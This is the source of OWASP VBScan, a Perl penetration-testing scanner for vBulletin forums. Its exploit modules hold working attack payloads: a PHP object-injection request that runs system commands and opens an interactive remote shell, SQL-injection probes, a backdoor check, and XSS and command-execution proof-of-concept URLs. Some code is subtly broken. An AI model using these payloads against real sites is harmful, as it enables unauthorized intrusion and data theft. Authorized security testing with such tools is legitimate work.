12 | 13 | OWASP VBScan 14 | ====== 15 | 16 | OWASP VBScan (short for [VB]ulletin Vulnerability [Scan]ner) is an opensource project in perl programming language to detect VBulletin CMS vulnerabilities and analysis them . 17 | 18 | ### Why OWASP VBScan ? 19 | 20 | If you want to do a penetration test on a vBulletin Forum, OWASP VBScan is Your best shot ever! 21 | This Project is being faster than ever and updated with the latest VBulletin vulnerabilities. 22 | 23 | 24 | 25 | * Project Leader : [Mohammad Reza Espargham] (reza[dot]espargham[at]owasp[dot]org) 26 | * Github : https://github.com/rezasp/vbscan/ 27 | * SourceForge : https://sourceforge.net/projects/vbscan/ 28 | * OWASP Page : https://www.owasp.org/index.php/OWASP_VBScan_Project 29 | 30 | 31 | usage : 32 | ------ 33 | ``` 34 | ./vbscan.pl 35 | ./vbscan.pl http://target.com/vbulletin 36 | ``` 37 | 38 |

39 | 40 |

41 |



42 | OWASP VBScan 0.1.7 introduction (Youtube) 43 | 44 | [![OWASP VBScan 0.1.7 introduction](https://img.youtube.com/vi/SirozqDYERA/0.jpg)](https://www.youtube.com/watch?v=SirozqDYERA) 45 | 46 | OWASP VBScan Teaser (Youtube) 47 | 48 | [![OWASP VBScan Teaser](https://img.youtube.com/vi/NGEtJoGL2yA/0.jpg)](https://www.youtube.com/watch?v=NGEtJoGL2yA) 49 | -------------------------------------------------------------------------------- /core/compare.pl: -------------------------------------------------------------------------------- 1 | sub max { 2 | my $x = shift; 3 | my $y = shift; 4 | return ( $x > $y ? $x : $y ); 5 | } 6 | 7 | sub version_compare { 8 | my $ver1 = shift || 0; 9 | my $ver2 = shift || 0; 10 | my @v1 = split /[.+:~-]/, $ver1; 11 | my @v2 = split /[.+:~-]/, $ver2; 12 | 13 | for ( my $i = 0 ; $i < max( scalar(@v1), scalar(@v2) ) ; $i++ ) { 14 | 15 | # Add missing version parts if one string is shorter than the other 16 | # i.e. 0 should be lt 0.2.1 and not equal, so we append .0 17 | # -> 0.0.0 <=> 0.2.1 -> -1 18 | push( @v1, 0 ) unless defined( $v1[$i] ); 19 | push( @v2, 0 ) unless defined( $v2[$i] ); 20 | if ( int( $v1[$i] ) > int( $v2[$i] ) ) { 21 | return 1; 22 | } 23 | elsif ( int( $v1[$i] ) < int( $v2[$i] ) ) { 24 | return -1; 25 | } 26 | } 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /core/header.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | use Term::ANSIColor; 4 | 5 | print color("YELLOW"); 6 | print q{ 7 | _ _ ____ ___ ___ __ _ _ 8 | ( \/ )( _ \/ __) / __) /__\ ( \( ) 9 | \ / ) _ <\__ \( (__ /(__)\ ) ( 10 | \/ (____/(___/ \___)(__)(__)(_)\_) 11 | }; 12 | print color("red") . "\t\t(1337.today)" . color("reset"); 13 | print " 14 | 15 | --=[". color("BLUE") . "OWASP VBScan". color("reset") ." 16 | +---++---==[Version : " 17 | . color("red"). "$version\n". color("reset") . " +---++---==[Update Date : [". color("red") . "$update". color("reset") . "] 18 | +---++---==[Author : ". color("red") . "Mohammad Reza Espargham". color("reset")." 19 | +---++---==[Website : ". color("red") . "www.reza.es". color("reset")." 20 | --=[Code name : ". color("red") . "$codename". color("reset")."\n \@OWASP_VBScan , \@rezesp , \@OWASP\n\n"; 21 | 22 | if(!defined $ARGV[0]){ 23 | 24 | print color("cyan"); 25 | printf "\n Usage: \n \t$0 \n"; 26 | printf "\t$0 http://target.com/vbulletin\n\n"; 27 | printf "\n Options: \n"; 28 | printf "\t$0 --help\n\n"; 29 | print color("reset"); 30 | exit(1); 31 | } 32 | 33 | #Start help Function 34 | if(($ARGV[0] =~ m/--help/i)) 35 | { 36 | printf " Usage: \n \t$0 \n"; 37 | printf "\t$0 http://target.com/vbulletin\n\n"; 38 | printf " About Author \n \t$0 --about\n\n Check for Upgrade : \n \t$0 --upgrade\n\n\n"; 39 | print color("reset"); 40 | exit(1); 41 | }elsif($ARGV[0] =~ m/--about/i) 42 | { 43 | print color("cyan"); 44 | printf " 45 | Author : $author 46 | Linkedin : https://ir.linkedin.com/in/rezasp 47 | E-Mail : me\@reza.es , reza.espargham\@gmail.com 48 | Website : www.reza.es 49 | Twitter : https://twitter.com/rezesp 50 | FaceBook : https://www.facebook.com/reza.espargham 51 | SourceForge : https://sourceforge.net/projects/vbscan/ 52 | Github : https://github.com/rezasp/vbscan/ 53 | \n\n"; 54 | print color("reset"); 55 | exit(1); 56 | }elsif($ARGV[0] =~ m/--upgrade/i) 57 | { 58 | printf " Update Function ... ;)\n\n\n\n"; 59 | do "core/upgrade.pl"; 60 | print color("reset"); 61 | exit(1); 62 | } 63 | 64 | 65 | #End help Function 66 | -------------------------------------------------------------------------------- /core/main.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | #OWASP VBScan 3 | 4 | 5 | use utf8; 6 | use open ':std', ':encoding(UTF-8)'; 7 | use LWP::UserAgent; 8 | use LWP::Simple; 9 | use Term::ANSIColor; 10 | 11 | my $can_regexp=1; 12 | eval "use Regexp::Common \"URI\""; 13 | if($@) { $can_regexp=0; } 14 | 15 | 16 | print color("blue"); 17 | 18 | $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); 19 | $ua->protocols_allowed( [ 'http','https'] ); 20 | $ua->timeout(180); 21 | 22 | 23 | @weekday = ("Sunday", "Monday", "Tuesday", "Wednesday", "thursday", "Friday", "Saturday"); 24 | ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();; 25 | $year = $year + 1900; 26 | $mon += 1; 27 | $stime="$mday/$mon/$year $hour:$min:$sec $weekday[$wday]"; 28 | 29 | 30 | @uagnt=('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5' 31 | ,'Googlebot/2.1 ( http://www.googlebot.com/bot.html)' 32 | ,'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13' 33 | ,'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)' 34 | ,'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51' 35 | ,'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620' 36 | ,'Debian APT-HTTP/1.3 (0.8.10.3)' 37 | ,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' 38 | ,'Googlebot/2.1 (+http://www.googlebot.com/bot.html)' 39 | ,'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)' 40 | ,'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)' 41 | ,'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)' 42 | ,'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)' 43 | ,'msnbot/1.1 (+http://search.msn.com/msnbot.htm)' 44 | ); 45 | 46 | $randagnt = $uagnt[ rand @uagnt ]; 47 | 48 | $ua->agent($randagnt); 49 | 50 | 51 | chomp($target=$ARGV[0]); 52 | 53 | if($target !~ /^http/) { $target = "http://$target"; }; 54 | 55 | our @dlog;our @tflog; 56 | 57 | our $log=""; 58 | sub dprint{ 59 | my ($in) = @_; 60 | $#dlog++; 61 | $dlog[$#dlog]=$in; 62 | $in="\n[+] $in\n"; 63 | $log .= $in; 64 | print color("blue"); 65 | print "$in"; 66 | } 67 | sub tprint{ 68 | my ($in) = @_; 69 | $#tflog++; 70 | $tflog[$#tflog]=$in; 71 | $in="[++] $in\n"; 72 | $log .= $in; 73 | print color("yellow"); 74 | print "$in"; 75 | print color("blue"); 76 | } 77 | sub fprint{ 78 | my ($in) = @_; 79 | $#tflog++; 80 | $tflog[$#tflog]="1337false$in"; 81 | $in="[++] $in\n"; 82 | $log .= $in; 83 | print color("red"); 84 | print "$in"; 85 | print color("blue"); 86 | } 87 | 88 | print color("blue"); 89 | print "Processing $target ...\n\n\n"; 90 | -------------------------------------------------------------------------------- /core/report.pl: -------------------------------------------------------------------------------- 1 | our $target="$target/"; 2 | 3 | $html=""; 4 | open(my $fh, '<:encoding(UTF-8)', "core/tmpreport.html"); 5 | while (my $row = <$fh>) { 6 | chomp $row; 7 | $html.=$row; 8 | } 9 | 10 | #localtime 11 | @weekday = ("Sunday", "Monday", "Tuesday", "Wednesday", "thursday", "Friday", "Saturday"); 12 | ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();; 13 | $year = $year + 1900; 14 | $mon += 1; 15 | $ftime="$mday/$mon/$year $hour:$min:$sec $weekday[$wday]"; 16 | 17 | #replace info 18 | $html =~ s/\$target/$target/g; 19 | $html =~ s/\$codename/$codename/g; 20 | $html =~ s/\$version/$version/g; 21 | $html =~ s/\$ftime/$ftime/g; 22 | $html =~ s/\$stime/$stime/g; 23 | $html =~ s/\$vbversion/$ver/g; 24 | 25 | #htmltmp 26 | $tmpbody=' 27 | 28 |

29 |     

[+] $title

30 |

31 |     

$datail

32 |

33 |   
34 | ';
35 | 
36 | #txtlog
37 | if($target =~ /http:\/\/(.*?)\//){our $li=$1;}
38 | if($target =~ /https:\/\/(.*?)\//){our $li=$1;}
39 | $tmptarget="$1";
40 | mkdir "reports/$tmptarget";
41 | 
42 | open(my $fh, '>', "reports/$tmptarget/$tmptarget\_report\_$year-$mon-$mday\_at\_$hour.$min.$sec.txt");
43 | our $log="$log";
44 | print $fh "$log";
45 | close $fh;
46 | 
47 | 
48 | #htmllog
49 | for($i=0;$i<=$#dlog;$i++){
50 |   if($i==1){next;}
51 |   $tbody=$tmpbody;
52 |   $tbody =~ s/\$i/$i/g;
53 |   $tflog[$i] =~ s/\n/\n\/g;
54 |   if($tflog[$i] =~ m/1337false/i){$color="red";}else{$color="green";}
55 |   $tflog[$i]  =~ s/1337false//g;
56 |   if ($can_regexp) {
57 |     $tflog[$i]  =~ s( ($RE{URI}{HTTP}) ) ($1)gx ;
58 |   }
59 |   $tflog[$i]  =~ s/\[\+\+\] //g;
60 |   $tbody =~ s/\$color/$color/g;
61 |   
62 | 
63 |   $tbody =~ s/\$datail/$tflog[$i]/g;
64 |   $dlog[$i]  =~ s/Checking for//g;
65 |   $dlog[$i]  =~ s/Checking //g;
66 |   $dlog[$i]  =~ s/Detecting //g;
67 |   $dlog[$i]  =~ s/Finding //g;
68 | 
69 |   $tbody =~ s/\$title/$dlog[$i]/g;
70 | 
71 |   $body.=$tbody;  
72 | }
73 | 
74 | $html =~ s/\$body/$body/g;
75 | 
76 | 
77 | 
78 | 
79 | 
80 | open(my $fh, '>', "reports/$tmptarget/$tmptarget\_report\_$year-$mon-$mday\_at\_$hour.$min.$sec.html");
81 | print $fh "$html";
82 | close $fh;
83 | 
84 | 
85 | print color("yellow");
86 | print "\n\nYour Report : reports/$tmptarget/\n";
87 | 


--------------------------------------------------------------------------------
/core/tmpreport.html:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 
 4 | 	 $target | OWASP VBScan Result 
 5 | 
 6 | 		
 7 | 	VBScan
 8 | 	
9 |
10 | URL : $target
11 | Vbulletin Version : $vbversion
12 | 13 | Start Time : $stime
14 | Finish Time : $ftime
15 |
16 | 17 | 18 | 19 | 20 | $body 21 | 22 |
Vulnerability
23 |

Generated on 13/9/2016 20:57:4 Tuesday by OWASP VBScan $version (Code Name: $codename)

-------------------------------------------------------------------------------- /core/upgrade.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | #Coded By Mohammad Reza Espargham 4 | #OWASP VBScan 5 | 6 | print "\n[+] Updating ...\n"; 7 | $x=`pwd`; 8 | chomp($x); 9 | `cd /tmp;git clone https://github.com/rezasp/vbscan.git`; 10 | `cp -R /tmp/vbscan/ \"$x\"`; 11 | `rm -rf /tmp/vbscan/`; 12 | 13 | 14 | print "[+] Update was completed successfully\n"; -------------------------------------------------------------------------------- /core/ver.pl: -------------------------------------------------------------------------------- 1 | #start Version finder 2 | @pa = ("$target/clientscript/vbulletin_global.js","$target/clientscript/vbulletin-core.js","$target/clientscript/vbulletin_menu.js","$target/"); 3 | 4 | foreach $lin(@pa){ 5 | $source=$ua->get($lin)->decoded_content; 6 | if (($source =~ m/vbulletin/i || $source =~ m/Vbulletin/i || $source =~ m/vBulletin/i)) 7 | {goto len;} 8 | } 9 | print color("red"); 10 | print "[++] The target is alive! But is not running on vbulletin.\nDo you want to continue? [y/N] "; 11 | $inp=; 12 | if($inp =~ /N/g || $inp =~ /n/g){ 13 | print color("reset"); 14 | exit 0; 15 | } 16 | len:; 17 | $source =~ /ulletin (.*?)\n/; 18 | $ver="vBulletin $1"; 19 | if($ver !~ m/\./i){ 20 | $source=$ua->get("$target/clientscript/vbulletin-core.js")->decoded_content; 21 | $source =~ /ulletin (.*?)\n/; 22 | $ver="vBulletin $1"; 23 | } 24 | $ua->requests_redirectable(undef); 25 | 26 | 27 | dprint("Detecting vBulletin Version"); 28 | 29 | $source=$ua->get("$target/clientscript/vbulletin_global.js")->decoded_content; 30 | $source =~ /ulletin (.*?)\n/; 31 | $ver="vBulletin $1"; 32 | if($ver !~ m/\./i){ 33 | $source=$ua->get("$target/clientscript/vbulletin-core.js")->decoded_content; 34 | $source =~ /ulletin (.*?)\n/; 35 | $ver="vBulletin $1"; 36 | } 37 | if($ver !~ m/\./i){ 38 | $source=$ua->get("$target/clientscript/vbulletin_menu.js")->decoded_content; 39 | $source =~ /ulletin (.*?)\n/; 40 | $ver="vBulletin $1"; 41 | } 42 | if($ver !~ m/\./i){ 43 | $source=$ua->get("$target")->decoded_content; 44 | $source =~ /meta name=\"generator\" content=\"(.*?)\" \/>/; 45 | $ver=$1; 46 | } 47 | if($ver !~ m/\./i){ 48 | $source =~ /vbulletinlink\">vBulletin\®\;\<\/a\> (.*?)br/; 49 | $ver=$1; 50 | $ver =~ s/\get("$target")->decoded_content; 59 | $source =~ /SIMPLEVERSION = \"(.*?)\"/; 60 | $verss="$1"; 61 | $one= substr $verss ,0,1; 62 | $two= substr $verss ,1,1; 63 | $three= substr $verss ,2,1; 64 | $ver= "vBulletin $one.$two.$three"; 65 | } 66 | $ver =~ tr/[0-9][a-z][A-Z][\.]\ //cd; 67 | if( $ver =~ /\d\.\d\.\d+/ and length($ver) > 25) {$ver= "vBulletin $&";} 68 | if($ver !~ m/\./i){fprint("ver 404\n")}else{tprint("$ver\n");} 69 | 70 | #end Version finder -------------------------------------------------------------------------------- /exploit/arcade.pl: -------------------------------------------------------------------------------- 1 | #start arcade.php sql injection 2 | dprint("Checking arcade.php SQLI Vulnerability"); 3 | $response = $ua->get("$target/arcade.php?act=Arcade&do=stats&comment=a&s_id=1%27"); 4 | if ($response->status_line=~/200/g && $response->decoded_content =~ m/mySQL error/i){ 5 | tprint("arcade.php is Vulnerable :)\n SQLI path : $target/arcade.php?act=Arcade&do=stats&comment=a&s_id=1{Inject_Here}"); 6 | } else { 7 | fprint("arcade.php not found"); 8 | } 9 | #end arcade.php sql injection -------------------------------------------------------------------------------- /exploit/decodearguments.pl: -------------------------------------------------------------------------------- 1 | #start Vbulletin 5.x - Remote Code Execution Exploit 2 | dprint("Checking Vbulletin 5.x - Remote Code Execution Exploit"); 3 | $response=$ua->get($target . '/ajax/api/hook/decodeArguments?arguments=O%3A12%3A"vB_dB_Result"%3A2%3A%7Bs%3A5%3A"%00%2A%00db"%3BO%3A11%3A"vB_Database"%3A1%3A%7Bs%3A9%3A"functions"%3Ba%3A1%3A%7Bs%3A11%3A"free_result"%3Bs%3A7%3A"phpinfo"%3B%7D%7Ds%3A12%3A"%00%2A%00recordset"%3Bi%3A1%3B%7D'); 4 | 5 | $source=$response->decoded_content; 6 | if (($source =~ m/phpinfo\(\)/i)) 7 | { 8 | tprint("decodeArguments is vulnerable\nEDB : https://www.exploit-db.com/exploits/38790/ \nphpinfo : ".$target . '/ajax/api/hook/decodeArguments?arguments=O%3A12%3A"vB_dB_Result"%3A2%3A%7Bs%3A5%3A"%00%2A%00db"%3BO%3A11%3A"vB_Database"%3A1%3A%7Bs%3A9%3A"functions"%3Ba%3A1%3A%7Bs%3A11%3A"free_result"%3Bs%3A7%3A"phpinfo"%3B%7D%7Ds%3A12%3A"%00%2A%00recordset"%3Bi%3A1%3B%7D'); 9 | 10 | $response=$ua->get($target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:20:"echo%20$((0xfee10000))";}'); 11 | 12 | $source=$response->decoded_content; 13 | if (($source =~ m/4276158464/i)) 14 | { 15 | $response=$ua->get($target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:6:"whoami";}'); 16 | $user=$response->decoded_content; 17 | chomp($user); 18 | while($cmd=="exit") 19 | { 20 | print "\n\n$user\$ "; 21 | $cmd=; 22 | chomp($cmd); 23 | if($cmd =~ m/exit/i){goto deen;} 24 | $len=length($cmd); 25 | $response=$ua->get($target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:'.$len.':"'.$cmd.'";}'); 26 | print "\n".$response->decoded_content; 27 | 28 | } 29 | } 30 | }else{fprint("decodeArguments is not vulnerable");} 31 | deen:; 32 | #end Vbulletin 5.x - Remote Code Execution Exploit -------------------------------------------------------------------------------- /exploit/faq.pl: -------------------------------------------------------------------------------- 1 | #start faq.php RCE Backdoor 2 | dprint("Checking faq.php RCE backdoor"); 3 | $source=$ua->get("$target/faq.php?cmd=echo \"\"")->decoded_content; 4 | if($source =~ m//i){ 5 | tprint("Remote Code Execute backdoor found \n backdoor path : $target/faq.php?cmd=dir"); 6 | }else{ 7 | fprint("Remote Code Execute backdoor not found"); 8 | } 9 | #end faq.php RCE Backdoor -------------------------------------------------------------------------------- /exploit/htmlcode.pl: -------------------------------------------------------------------------------- 1 | #start Posting Rules htmlcode checker 2 | dprint("Checking for html tags status"); 3 | $htf=0; 4 | $ua->requests_redirectable; 5 | 6 | $forumdis="forumdisplay.php?f="; 7 | my $bver=substr($ver, index($ver, ' ')+1, 1); 8 | $bver =~ s/ //g; 9 | if($bver=~m/4/i){ 10 | $forumdis="forumdisplay.php?"; 11 | } 12 | $xsstmp=""; 13 | for($i=1;$i<=100;$i++){ 14 | $source=$ua->get("$target/$forumdis$i")->decoded_content; 15 | if($source !~ m/Invalid Forum specified/i){ 16 | $source =~ /HTML code is \(.*?)\<\/strong\>/; 17 | if($1 =~ m/On/i){ 18 | $htf=1; 19 | $xsstmp="$xsstmp\html tag are \"ON\" and target is vulnerable to XSS Attack\n$target/$forumdis$i\n" 20 | } 21 | }else{ 22 | goto enhtml; 23 | } 24 | } 25 | 26 | 27 | enhtml:; 28 | if($htf==0){ 29 | fprint("HTML tag are Disable"); 30 | }else{ 31 | tprint($xsstmp); 32 | } 33 | 34 | #end Posting Rules htmlcode checker 35 | -------------------------------------------------------------------------------- /exploit/openredirection.pl: -------------------------------------------------------------------------------- 1 | #start OpenRedirection 2 | dprint("Checking for OpenRedirection"); 3 | @linkss = ('aHR0cHM6Ly8xMjRyZ2J4ZnR5OHV5dGdmYzM0NTZpZmR2dHd3ai5jaW4v','https://124rgbxfty8uytgfc3456ifdvtwwj.cin/'); 4 | 5 | my $ortf=0; 6 | foreach $linksss (@linkss ){ 7 | $response = $ua->get("$target/redirector.php?url=$linksss"); 8 | if ($response->status_line=~/200/g && $response->decoded_content =~ m/URL\=https\:\/\/124rgbxfty8uytgfc3456ifdvtwwj\.cin/i){ 9 | $ortf=1; 10 | tprint("Open Redirection path : $target/redirector.php?url=$linksss"); 11 | goto eeeee; 12 | } 13 | } 14 | eeee:; 15 | if($ortf==0){fprint("Open Redirection is not found");} 16 | #end OpenRedirection -------------------------------------------------------------------------------- /exploit/regplug.pl: -------------------------------------------------------------------------------- 1 | #start register.php sql injection 2 | dprint("'Checking for email before registration plugin SQL injection vulnerability"); 3 | $response = $ua->get("$target/register.php?so=1&emailcode=1%27"); 4 | if ($response->status_line=~/200/g && $response->decoded_content =~ m/mySQL error/i){ 5 | tprint("register.php is Vulnerable :)\nhttps://www.exploit-db.com/exploits/34717/\n SQLI path : $target/register.php?so=1&emailcode=1{Inject_Here}"); 6 | } else { 7 | fprint("register.php is not vulnerable"); 8 | } 9 | #end register.php sql injection -------------------------------------------------------------------------------- /exploit/routestring.pl: -------------------------------------------------------------------------------- 1 | #start routestring exploit 2 | dprint("Checking for routestring plugin RCE vulnerability"); 3 | $source=$ua->get("$target/index.php?routestring=.\\\\")->decoded_content; 4 | if($source =~ m/require_once/i || $source =~ m/failed to open stream\:/i || $source =~ m/includes\\api\\interface\\collapsed/i || $source =~ m/Failed opening required/i|| $source =~ m/include_path\=/i){ 5 | 6 | tprint("Routestring plugin is vulnerable :)\nvBulletin routestring Unauthenticated Remote Code Execution\nEDB : https://www.exploit-db.com/exploits/43361/\nhttps://blogs.securiteam.com/index.php/archives/3569"); 7 | } else { 8 | fprint("Routestring plugin is not vulnerable"); 9 | } 10 | #end routestring exploit -------------------------------------------------------------------------------- /exploit/tapatalk.pl: -------------------------------------------------------------------------------- 1 | #start Tapatalk 2 | do "$mepath/core/compare.pl"; 3 | dprint("Checking for Tapatalk vulnerability"); 4 | $response = $ua->get("$target/mobiquo/mobiquo.php"); 5 | if ($response->status_line=~/200/g && $response->decoded_content =~ m/Forum XMLRPC Interface for Tapatalk Application/i or $response->decoded_content =~ m/Current Tapatalk plugin version/i){ 6 | $response->decoded_content =~ /Current Tapatalk plugin version: (.*?)\Latest/; 7 | if(&version_compare("5.2.1","$1") == 1) { 8 | tprint("Tapatalk is vulnerable :)\nTapatalk for vBulletin CVE-2014-2023 Multiple SQL Injection Vulnerabilities\nEDB : https://www.exploit-db.com/exploits/35102/\nhttps://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2023\nhttps://www.securityfocus.com/bid/70418"); 9 | } else { 10 | fprint("Tapatalk not found"); 11 | } 12 | }else { 13 | fprint("Tapatalk not found"); 14 | } 15 | #end Tapatalk -------------------------------------------------------------------------------- /exploit/upexploit.pl: -------------------------------------------------------------------------------- 1 | #start vBulletin '/install/upgrade.php' Security Bypass Vulnerability 2 | use LWP::UserAgent; 3 | use HTTP::Request::Common; 4 | dprint("Checking for upgrade.php vulnerablity"; 5 | 6 | $url = "$target/install/upgrade.php"; 7 | $lwp = LWP::UserAgent->new(); 8 | $lwp -> agent("Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"); 9 | $request = $lwp->post($url, ["searchHash" => "Search"]); 10 | 11 | if ($request->content =~ /CUSTNUMBER = \"(.+)\";/) 12 | { 13 | tprint("upgrade.php is vulnerable\nhttp://www.securityfocus.com/bid/62909 \nhttp://thehackerspost.com/2013/09/vbulletin-4-1-x-5-x-x-0day-exploit-released-1337-hacker.html\nhttps://packetstormsecurity.com/files/123811/vBulletin-4.1.x-5.x.x-Administrative-User-Injection.html\n path : $target/install/upgrade.php\n CUSTNUMBER Hash : $1"); 14 | } else { 15 | fprint("upgrade.php is not vulnerable"); 16 | } 17 | 18 | #end vBulletin '/install/upgrade.php' Security Bypass Vulnerability 19 | -------------------------------------------------------------------------------- /exploit/vbscandb.txt: -------------------------------------------------------------------------------- 1 | 2.0.3|VBulletin 2.0.3 Calendar.php Command execution vulnerable \nPOC : $target/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60%20%60;die();echo%22\nEDB : http://www.exploit-db.com/exploits/21874/ 2 | 2.0.0,2.2|VBulletin 2.0/2.2.x - XSS vulnerable \nPOC : $target/usercp.php?s=[Session ID]\">\nEDB : http://www.exploit-db.com/exploits/21946/ 3 | 2.3.4,2.3.3,2.3.0,2.2,2.0.2,2.0.1,2.0.0|VBulletin 2.x - Private.php Cross-Site Scripting \nPOC : $target/private.php?&action=newmessage&userid=[UID]&forward=[XSS]\nEDB : http://www.exploit-db.com/exploits/23865/ 4 | 2.0.0,2.0.1,2.0.2,2.2|VBulletin 2.0.x/2.2.x members2.php Cross-Site Scripting\nEDB : http://www.exploit-db.com/exploits/22042/ 5 | 2.0.0,2.0.3,2.2|VBulletin 2.0/2.2.x Memberlist.php Cross-Site Scripting\nEDB : http://www.exploit-db.com/exploits/22030/ 6 | 3.0.1|VBulletin 3.0.1 newreply.php WYSIWYG_HTML parameter XSS\nEDB : http://www.exploit-db.com/exploits/24234/ 7 | 3.0.4,3.0.3,3.0.2,3.0.1,3.0.0|vBulletin <= 3.0.4 - \"forumdisplay.php\" Code execution\nEDB : http://www.exploit-db.com/exploits/818/\nEDB : http://www.exploit-db.com/exploits/820/ 8 | 3.0.0,2.3.0,2.2.8|vBulletin 3.0 Register.PHP HTML Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/22990/ 9 | 3.0.0|VBulletin 3.0 - Search.PHP XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/23691/ 10 | 3.0.0|VBulletin 3.0 ShowThread.PHP XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/23823/ 11 | 3.0.0|VBulletin 3.0 ForumDisplay.PHP XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/23822/ 12 | 3.0|vBulletin 3.0 - Private Message HTML Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/22599/ 13 | 2.0.3,1.0.1,2.0,2.3.0,2.3.2,2.3.3,2.3.4,3.0|VBulletin 1.0.1 lite/2.x/3.0 /admincp/template.php Multiple parameter XSS\nEDB : http://www.exploit-db.com/exploits/26283/ 14 | 2.0.3,1.0.1,2.0,2.3.0,2.3.2,2.3.3,2.3.4,3.0|VBulletin 1.0.1 lite/2.x/3.0 /admincp/modlog.php orderby parameter XSS\nEDB : http://www.exploit-db.com/exploits/26282/ 15 | 2.0.3,1.0.1,2.0,2.3.0,2.3.2,2.3.3,2.3.4,3.0|VBulletin 1.0.1 lite/2.x/3.0 /admincp/language.php goto parameter XSS\nEDB : http://www.exploit-db.com/exploits/26280/ 16 | 2.0.3,1.0.1,2.0,2.3.0,2.3.2,2.3.3,2.3.4,3.0|VBulletin 1.0.1 lite/2.x/3.0 /admincp/index.php Multiple parameter XSS\nEDB : http://www.exploit-db.com/exploits/26279/ 17 | 2.0.3,1.0.1,2.0,2.3.0,2.3.2,2.3.3,2.3.4,3.0|VBulletin 1.0.1 lite/2.x/3.0 /admincp/css.php group parameter XSS\nEDB : http://www.exploit-db.com/exploits/26278/ 18 | 2.0.3,1.0.1,2.0,2.3.0,2.3.2,2.3.3,2.3.4,3.0|VBulletin 1.0.1 lite/2.x/3.0 /admincp/usertools.php ids parameter SQL Injection\nEDB : http://www.exploit-db.com/exploits/26276/ 19 | 2.0.3,1.0.1,2.0,2.3.0,2.3.2,2.3.3,2.3.4,3.0|VBulletin 1.0.1 lite/2.x/3.0 /admincp/usertitle.php usertitleid parameter SQL Injection\nEDB : http://www.exploit-db.com/exploits/26274/ 20 | 2.0.3,1.0.1,2.0,2.3.0,2.3.2,2.3.3,2.3.4,3.0|VBulletin 1.0.1 lite/2.x/3.0 joinrequests.php request parameter SQL Injection\nEDB : http://www.exploit-db.com/exploits/26273/ 21 | 3.0.6,3.0.1|vBulletin <= 3.0.6 php Code Injection\nEDB : http://www.exploit-db.com/exploits/832/ 22 | 3.0.6|vBulletin <= 3.0.6 (Template) Command execution Exploit (metasploit)\nEDB : http://www.exploit-db.com/exploits/1133/ 23 | 3.5.2|VBulletin 3.5.2 Event Title HTML Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/27019/ 24 | 3.5.1|vBulletin 3.5.1 Vbugs.PHP XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/27580/ 25 | 3.0|vBulletin <= 3.0.8 accessible database backup searcher (update 3)\nEDB : http://www.exploit-db.com/exploits/1189/ 26 | 3.0.1|vBulletin 3.0.10 Portal.PHP SQL Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/27929/ 27 | 3.0.9,3.5.1,3.5.2,3.5.3,3.5.4|Vbulletin 3.0.9/3.5.x Member.PHP XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/28076/ 28 | 3.0.14|VBulletin 3.0.14 global.php Encoded URL XSS\nEDB : http://www.exploit-db.com/exploits/28342/ 29 | 2.3.8,2.3.4,2.3.3,2.3.2,2.3.0|VBulletin 2.3.x Global.PHP SQL Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/28694/ 30 | 3.6.0,3.6.1,3.6.2,3.6.2|VBulletin 3.6.x Admin Control Panel Index.PHP Multiple XSS vulnerabilities\nEDB : http://www.exploit-db.com/exploits/29079/ 31 | 3.5.1,3.5.2,3.5.3,3.5.4,3.6.1,3.6.2,3.6.3,3.6.4|VBulletin 3.5.x/3.6.x SWF Script Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/29338/ 32 | 3.6.4|vBulletin 3.6.4 (inlinemod.php postids) SQL Injection Exploit\nEDB : http://www.exploit-db.com/exploits/3387/ 33 | 3.6.6|VBulletin <= 3.6.6 Calendar.PHP HTML Injection vulnerability\nEDB 